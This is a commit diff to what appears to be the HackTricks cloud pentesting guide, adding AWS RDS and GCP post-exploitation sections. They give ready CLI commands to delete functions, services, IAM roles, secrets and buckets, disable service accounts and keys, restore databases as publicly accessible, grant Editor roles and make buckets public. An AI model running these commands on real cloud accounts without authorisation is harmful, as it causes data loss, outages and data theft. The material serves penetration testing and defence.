GCP update

src/SUMMARY.md

@@ -125,6 +125,7 @@
     - [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
     - [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
     - [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
+    - [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-services/gcp-firebase-privesc.md)
     - [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
     - [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
     - [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -57,6 +57,40 @@ aws rds stop-db-cluster \
   --db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
 ```
 
+### `rds:Modify*`
+An attacker granted rds:Modify* permissions can alter critical configurations and auxiliary resources (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) without touching the instance or cluster directly. Changes such as adjusting connection/time-out parameters, changing a proxy endpoint, modifying which certificates are trusted, altering logical capacity, or reconfiguring a subnet group can weaken security (open new access paths), break routing and load-balancing, invalidate replication/backup policies, and generally degrade availability or recoverability. These modifications can also facilitate indirect data exfiltration or hinder an orderly recovery of the database after an incident.
+
+Move or change the subnets assigned to an RDS subnet group:
+
+```bash
+aws rds modify-db-subnet-group \
+  --db-subnet-group-name <db-subnet-group-name> \
+  --subnet-ids <subnet-id-1> <subnet-id-2>
+```
+
+Alter low-level engine parameters in a cluster parameter group:
+
+```bash
+aws rds modify-db-cluster-parameter-group \
+  --db-cluster-parameter-group-name <parameter-group-name> \
+  --parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
+```
+
+### `rds:Restore*`
+
+An attacker with rds:Restore* permissions can restore entire databases from snapshots, automated backups, point-in-time recovery (PITR), or files stored in S3, creating new instances or clusters populated with the data from the selected point. These operations do not overwrite the original resources — they create new objects containing the historical data — which allows an attacker to obtain full, functional copies of the database (from past points in time or from external S3 files) and use them to exfiltrate data, manipulate historical records, or rebuild previous states.
+
+Restore a DB instance to a specific point in time:
+
+```bash
+aws rds restore-db-instance-to-point-in-time \
+  --source-db-instance-identifier <source-db-instance-identifier> \
+  --target-db-instance-identifier <target-db-instance-identifier> \
+  --restore-time "<restore-time-ISO8601>" \
+  --db-instance-class <db-instance-class> \
+  --publicly-accessible --no-multi-az
+```
+
 ### `rds:Delete*`
 
 An attacker granted rds:Delete* can remove RDS resources, deleting DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts, causing immediate service outage, data loss, destruction of recovery points and loss of forensic evidence.

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md

@@ -28,15 +28,18 @@ With these permissions it's possible to:
 
 With this permission it's possible to **see the logs of the App**:
 
-<details>
-
-<summary>Tail app logs</summary>
-
 ```bash
 gcloud app logs tail -s <name>
 ```
 
-</details>
+### Service and version deletion
+
+The `appengine.versions.delete`, `appengine.versions.list`, and `appengine.services.list` permissions allow managing and deleting specific versions of an App Engine application, which can affect traffic if it is split or if the only stable version is removed. Meanwhile, the `appengine.services.delete` and `appengine.services.list` permissions allow listing and deleting entire services—an action that immediately disrupts all traffic and the availability of the associated versions.
+
+```bash
+gcloud app versions delete <VERSION_ID>
+gcloud app services delete <SERVICE_NAME>
+```
 
 ### Read Source Code
 

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md

@@ -14,18 +14,25 @@ Find some information about Cloud Functions in:
 
 With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
 
-<details>
-
-<summary>Get signed URL for source code download</summary>
-
 ```bash
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
 -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
 -H "Content-Type: application/json" \
 -d '{}'
 ```
 
-</details>
+### `cloudfunctions.functions.delete`
+The `cloudfunctions.functions.delete` permission allows an identity to completely delete a Cloud Function, including its code, configuration, triggers, and its association with service accounts.
+
+```bash
+gcloud functions delete <FUNCTION_NAME> \
+  --region=us-central1 \
+  --quiet
+```
+
+### Code Exfiltration through the bucket
+The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
+
 
 ### Steal Cloud Function Requests
 
@@ -35,10 +42,6 @@ Moreover, Cloud Functions running in python use **flask** to expose the web serv
 
 For example this code implements the attack:
 
-<details>
-
-<summary>Steal Cloud Function requests (Python injection)</summary>
-
 ```python
 import functions_framework
 
@@ -136,8 +139,6 @@ def injection():
         return str(e)
 ```
 
-</details>
-
 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md

@@ -10,6 +10,19 @@ For more information about Cloud Run check:
 ../gcp-services/gcp-cloud-run-enum.md
 {{#endref}}
 
+### Delete CloudRun Job
+The `run.services.delete` and `run.services.get` permissions, as well as `run.jobs.delete`, allow an identity to completely delete a Cloud Run service or job, including its configuration and history. In the hands of an attacker, this can cause immediate disruption to applications or critical workflows, resulting in a denial of service (DoS) for users and systems that depend on the service logic or essential scheduled tasks.
+
+To delete a job, the following operation can be performed.
+```bash
+gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
+```
+
+To delete a service, the following operation can be performed.
+```bash
+gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
+```
+
 ### Access the images
 
 If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md

@@ -18,20 +18,45 @@ To **grant** the primitive role of **Owner** to a generic "@gmail.com" account,
 
 You can use the following command to **grant a user the primitive role of Editor** to your existing project:
 
-<details>
-
-<summary>Grant Editor role to user</summary>
-
 ```bash
 gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
 ```
 
-</details>
-
 If you succeeded here, try **accessing the web interface** and exploring from there.
 
 This is the **highest level you can assign using the gcloud tool**.
 
+### Delete IAM components `iam.*.delete`
+The `iam.*.delete` permissions (e.g., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, etc.) allow an identity to delete critical IAM components such as custom roles, API key bindings, service account keys, and the service accounts themselves. In the hands of an attacker, this makes it possible to remove legitimate access mechanisms in order to cause a denial of service.
+
+To carry out such an attack, it is possible, for example, to delete roles using:
+```bash
+gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
+```
+
+### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
+
+The `iam.serviceAccountKeys.disable` and `iam.serviceAccounts.disable` permissions allow disabling active service account keys or service accounts, which in the hands of an attacker could be used to disrupt operations, cause denial of service, or hinder incident response by preventing the use of legitimate credentials.
+
+To disable a Service Account, you can use the following command:
+
+```bash
+gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
+```
+
+To disable the keys of a Service Account, you can use the following command:
+
+```bash
+gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
+```
+
+### `iam.*.undelete`
+The `iam.*.undelete` permissions allow restoring previously deleted elements such as API key bindings, custom roles, or service accounts. In the hands of an attacker, this can be used to reverse defensive actions (recover removed access), re-establish deleted compromise vectors to maintain persistence, or evade remediation efforts, complicating incident containment.
+
+```bash
+gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
+```
+
 {{#include ../../../banners/hacktricks-training.md}}
 
 

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md

@@ -282,6 +282,36 @@ verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key
 print('Verified:', verified)
 ```
 
+### `cloudkms.cryptoKeyVersions.restore`
+The `cloudkms.cryptoKeyVersions.restore` permission allows an identity to restore a key version that was previously scheduled for destruction or disabled in Cloud KMS, returning it to an active and usable state.
+
+```bash
+gcloud kms keys versions restore <VERSION_ID> \
+  --key=<KEY_NAME> \
+  --keyring=<KEYRING_NAME> \
+  --location=<LOCATION> \
+  --project=<PROJECT_ID>
+```
+
+### `cloudkms.cryptoKeyVersions.update`
+The `cloudkms.cryptoKeyVersions.update` permission allows an identity to modify the attributes or the state of a specific key version in Cloud KMS, for example by enabling or disabling it.
+
+```bash
+# Disable key
+gcloud kms keys versions disable <VERSION_ID> \
+  --key=<KEY_NAME> \
+  --keyring=<KEYRING_NAME> \
+  --location=<LOCATION> \
+  --project=<PROJECT_ID>
+
+# Enable key
+gcloud kms keys versions enable <VERSION_ID> \
+  --key=<KEY_NAME> \
+  --keyring=<KEYRING_NAME> \
+  --location=<LOCATION> \
+  --project=<PROJECT_ID>
+```
+
 </details>
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md

@@ -62,6 +62,34 @@ Use this permission to update some setting of the topic to disrupt it, like `--c
 
 Give yourself permission to perform any of the previous attacks.
 
+```bash
+# Add Binding
+gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
+  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+  --role="<ROLE_OR_CUSTOM_ROLE>" \
+  --project="<PROJECT_ID>"
+
+# Remove Binding
+gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
+  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+  --role="<ROLE_OR_CUSTOM_ROLE>" \
+  --project="<PROJECT_ID>"
+
+# Change Policy
+gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
+  <(echo '{
+    "bindings": [
+      {
+        "role": "<ROLE_OR_CUSTOM_ROLE>",
+        "members": [
+          "serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
+        ]
+      }
+    ]
+  }') \
+  --project=<PROJECT_ID>
+```
+
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
 Get all the messages in a web server:

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md

@@ -25,6 +25,37 @@ gcloud secrets versions access 1 --secret="<secret_name>"
 
 </details>
 
+### `secretmanager.versions.destroy`
+The `secretmanager.versions.destroy` permission allows an identity to permanently destroy (mark as irreversibly deleted) a specific version of a secret in Secret Manager, which could enable the removal of critical credentials and potentially cause denial of service or prevent the recovery of sensitive data.
+
+```bash
+gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+
+### `secretmanager.versions.disable`
+The `secretmanager.versions.disable` permission allows an identity to disable active secret versions in Secret Manager, temporarily blocking their use by applications or services that depend on them.
+
+```bash
+gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+
+### `secretmanager.secrets.delete`
+The `secretmanager.secrets.delete` permission set allows an identity to completely delete a secret and all of its stored versions in Secret Manager.
+
+```bash
+gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>  
+```
+
+### `secretmanager.secrets.update`
+The `secretmanager.secrets.update` permission allows an identity to modify a secret’s metadata and configuration (for example, rotation settings, version policy, labels, and certain secret properties).
+
+```bash
+gcloud secrets update SECRET_NAME \
+  --project=PROJECT_ID \
+  --clear-labels \
+  --rotation-period=DURATION 
+```
+
 {{#include ../../../banners/hacktricks-training.md}}
 
 

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md

@@ -14,10 +14,6 @@ For more information about CLoud Storage check this page:
 
 It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
 
-<details>
-
-<summary>Make bucket/objects public</summary>
-
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -31,12 +27,75 @@ gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,r
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
 
-</details>
-
 If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
 To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
+### `storage.objects.delete` (`storage.objects.get`)
+
+To delete an object:
+```bash
+gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
+```
+
+### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
+
+To delete a bucket:
+```bash
+gcloud storage rm -r gs://<BUCKET_NAME>
+```
+
+### Deactivate HMAC Keys
+
+The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
+
+```bash
+# Deactivate
+gcloud storage hmac update <ACCESS_ID> --deactivate
+
+# Delete
+gcloud storage hmac delete <ACCESS_ID>
+```
+
+
+### `storage.buckets.setIpFilter` & `storage.buckets.update`
+The `storage.buckets.setIpFilter` permission, together with the `storage.buckets.update` permission, allows an identity to configure IP address filters on a Cloud Storage bucket, specifying which IP ranges or addresses are allowed to access the bucket’s resources.
+
+To completely clear the IP filter, the following command can be used:
+
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
+```
+
+To change the filtered IPs, the following command can be used:
+
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> \
+  --ip-filter-file=ip-filter.json \
+  --project=<PROJECT_ID>
+```
+
+The JSON file represents the filter itself, something like:
+```bash
+{
+  "mode": "Enabled",
+  "publicNetworkSource": {
+    "allowedIpCidrRanges": ["<IP>/<MASK>"]
+  },
+  "allowCrossOrgVpcs": false,
+  "allowAllServiceAgentAccess": false
+}
+```
+
+### `storage.buckets.restore`
+Restore a bucket using:
+
+```bash
+gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
+  --project=<PROJECT_ID>
+```
+
+
 {{#include ../../../banners/hacktricks-training.md}}